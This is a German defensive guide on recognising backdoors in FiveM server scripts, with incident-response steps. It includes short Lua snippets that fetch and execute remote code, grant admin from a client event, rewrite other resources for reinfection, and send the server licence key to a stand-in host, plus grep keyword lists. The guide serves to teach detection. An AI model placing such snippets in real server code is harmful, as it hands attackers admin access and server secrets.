# Ein FiveM-Script mit Backdoor erkennen

Die vier Formen, die eine Backdoor annimmt, wie du eine Resource liest bevor sie läuft, und was du zuerst tust, wenn du eine findest. Sortiert danach, was dich wirklich schützt.

- Plattform: FiveM
- Kanonische Seite: https://devtoolsgg.com/de/guides/fivem/spot-a-backdoor

Jemand schickt dir ein "kostenlos geleaktes" Script. Du legst es in `resources`,
startest neu, und alles funktioniert. Drei Wochen später hat ein Fremder Admin,
deine Datenbank ist weg, oder dein Server leitet stillschweigend Werbung an
deine eigenen Spieler weiter.

Dieser Guide zeigt, wie du eine Resource anschaust **bevor** sie läuft, was die
Muster wirklich bedeuten, und was zu tun ist, wenn du eines findest.

> [!IMPORTANT]
> Nichts hier lädt deine Dateien hoch. Der
> [Backdoor-Scanner](/de/fivem/backdoor-scanner) liest sie in deinem Browser, was
> die einzig vernünftige Art ist, ein Script zu untersuchen, dem du ohnehin
> schon nicht traust.

## Fang mit dem Manifest an

`fxmanifest.lua` entscheidet, was läuft. Öffne es zuerst, jedes Mal.

```lua
fx_version "cerulean"
game "gta5"

client_scripts {
    "client/*.lua",
}

server_scripts {
    "server/*.lua",
    "config/init.lua",
}
```

Zwei Fragen, in dieser Reihenfolge:

1. **Ergibt jede gelistete Datei Sinn für das, was diese Resource zu tun
   behauptet?** Ein Park-Script mit einem `server_script` namens `updater.lua`
   verdient einen Blick.
2. **Wird irgendetwas mit einer Wildcard geladen, durch die du nicht
   durchsiehst?** `server/*.lua` ist normal, bedeutet aber auch, dass eine
   später hinzugefügte Datei ohne weitere Änderung läuft.

Vergleiche danach das Manifest mit dem Ordner. Eine Datei, die auf der Platte
existiert und *nicht* im Manifest steht, ist meist Ballast. Eine Datei im
Manifest, die du nicht findest, ist ein deutlich schlechteres Zeichen.

## Die vier Formen, die eine Backdoor annimmt

Fast alles Bösartige fällt in eine von vier Familien. Die Familie zu kennen ist
wichtiger, als Strings auswendig zu lernen, denn die Strings ändern sich und die
Formen nicht.

### 1. Code, der zur Laufzeit geholt und ausgeführt wird

Die Resource lädt etwas herunter und führt es aus. Was du heute auditierst, kann
morgen etwas anderes ausliefern.

```lua
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)
    if code == 200 then
        assert(load(body))()
    end
end, "GET")
```

`load`, `loadstring`, `RunString` und `assert(load(...))` machen aus Text
laufenden Code. Zusammen mit einem HTTP-Aufruf in derselben Datei gibt es dafür
keine harmlose Lesart.

> [!WARNING]
> Ein Auto-Updater ist die übliche Tarngeschichte. Ein legitimer Updater lädt
> eine Datei herunter und bittet dich um einen Neustart. Er führt das
> Heruntergeladene nicht im Speicher aus.

### 2. Rechte, die zur Laufzeit vergeben werden

Die leiseste Familie, und die, die Leute übersehen, weil nichts ungewöhnlich
aussieht, bis ein Account, den niemand angelegt hat, vollen Zugriff hat.

```lua
RegisterNetEvent("core:sync", function(identifier)
    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))
end)
```

Hier stimmen zwei Dinge nicht. `add_principal` zur Laufzeit sollte nie aus einer
Resource kommen, die du nicht selbst geschrieben hast, und das Event nimmt einen
Identifier **vom Client**, jeder kann es also mit dem eigenen aufrufen.

Durchsuche jede Resource nach `add_principal`, `add_ace` und `ExecuteCommand`.
In einem normalen Gameplay-Script ist die Zahl null.

### 3. Persistenz und Reinfektion

Der interessante Teil einer ernsthaften Backdoor ist, was passiert, nachdem du
sie gefunden hast.

```lua
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
```

`SaveResourceFile` erlaubt einer Resource, eine **andere** Resource
umzuschreiben. Du löschst das bösartige Script, und es kommt aus der zurück, die
umgeschrieben wurde. Deshalb heißt eine Datei gefunden noch lange nicht sauber.

### 4. Abfließende Secrets

Der Grund, warum sich das Platzieren gelohnt hat.

```lua
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
```

Eine Resource, die `sv_licenseKey`, `steam_webApiKey`, `rcon_password` oder
deinen MySQL-Connection-String liest, hat dafür keinen legitimen Grund. Genauso
wenig eine Discord-Webhook-URL, die du nicht eingetragen hast.

## Obfuskation ist nicht die Tat, aber sie ist das Signal

Viele bezahlte Scripts sind obfuskiert, um eine Licence zu schützen,
Obfuskation allein heißt also nicht bösartig. Sie heißt, dass **du es nicht
auditieren kannst**, und das sollte eine bewusste Entscheidung sein und kein
Versehen.

| Was du siehst | Was es bedeutet |
|---|---|
| `\x68\x74\x74\x70` wiederholt | hex-escapte Strings, die eine URL oder einen Namen verstecken |
| `string.char(104, 116, 116, 112)` | dieselbe Idee, dezimal |
| Eine einzelne Zeile über 800 Zeichen | minifiziert, damit niemand drüberliest |
| Namen im Stil `_0x4f2a` | ein JavaScript-Obfuskator, häufig in NUI-Payloads |
| `LPH_NO_VIRTUALIZE`, `IronBrew`, `Luraph` | ein Lua-Obfuskator, beim Namen genannt |

Die ehrliche Regel: eine obfuskierte Datei von einem bezahlten Anbieter, den du
gewählt hast, ist ein Risiko, das du akzeptiert hast. Eine obfuskierte Datei in
einem kostenlosen Leak ist ein Risiko, das jemand für dich gewählt hat.

> [!TIP]
> Hex- und Base64-Blobs lassen sich in einem Schritt mit dem
> [Base64-, Hex- und URL-Decoder](/de/shared/encoding) decodieren. Der läuft
> ebenfalls in deinem Browser, du fügst also kein verdächtiges Payload in die
> Website eines Fremden ein.

## Das hier vor jeder Installation

Eine kurze Routine fängt das meiste ab.

1. **Scanne das Archiv.** Zieh die `.zip` direkt in den
   [Backdoor-Scanner](/de/fivem/backdoor-scanner). Er liest Zips, ohne sie
   irgendwohin zu entpacken.
2. **Lies das Manifest**, und vergleiche es mit dem Inhalt des Ordners.
3. **Grep nach den vier Familien.** `load(`, `PerformHttpRequest`,
   `add_principal`, `SaveResourceFile`, `GetConvar`.
4. **Installiere zuerst auf einem Testserver**, mit einem Wegwerf-Licence-Key
   und einer Datenbank, in der nichts steht.
5. **Beobachte die Konsole beim ersten Start.** Backdoors, die nach Hause
   telefonieren, tun das meist sofort, und ein HTTP-Fehler beim Booten ist ein
   Geschenk.

## Wenn du eine findest

Die Reihenfolge zählt hier, und der Instinkt, zuerst die Datei zu löschen, ist
falsch.

1. **Stopp den Server.** Nicht die Resource. Den Server.
2. **Tausche jedes Secret aus**: `sv_licenseKey` über das
   [Cfx-Portal](https://portal.cfx.re), dein Datenbankpasswort, deine
   Discord-Webhooks, jeden API-Key in einer Convar. Geh davon aus, dass alles in
   der `server.cfg` bekannt ist. Der [Secret-Generator](/de/shared/secret)
   erzeugt Ersatz, ohne ihn irgendwohin zu schicken.
3. **Prüfe `add_principal` in deinen eigenen Configs** und entferne jeden
   Identifier, den du nicht erkennst.
4. **Auditiere die anderen Resources**, wegen Familie 3. Eine einzige Backdoor,
   die `SaveResourceFile` benutzt hat, heißt, dass auch die anderen gelesen
   werden müssen.
5. **Erst dann** löschst du die Resource, und spielst ein Backup zurück, das du
   angelegt hast, bevor sie je installiert war, falls du eins hast.

> [!CAUTION]
> Deinen Licence Key zu wechseln, ohne dein Datenbankpasswort zu wechseln, löst
> gar nichts. Wer serverseitige Codeausführung hatte, hatte auch deine
> Zugangsdaten.

## Was dir das nicht sagen kann

Mustererkennung über Quelltext ist kein Beweis.

Eine sorgfältige Backdoor kann jedem Muster in diesem Guide ausweichen, und
sauberer Code passt manchmal darauf: eine legitime Resource darf durchaus
`PerformHttpRequest` aufrufen, und viele gute Scripts lesen eine Convar. Genau
deshalb erklärt der Scanner, was jeder Fund bedeutet, statt ein Urteil
auszugeben.

Behandle einen Report als Liste von Stellen zum Nachsehen, nicht als Urteil. Das
Urteil bleibt bei dir, und das ist auch richtig so.


## So zitierst du

Ein FiveM-Script mit Backdoor erkennen, devtoolsgg.com. https://devtoolsgg.com/de/guides/fivem/spot-a-backdoor
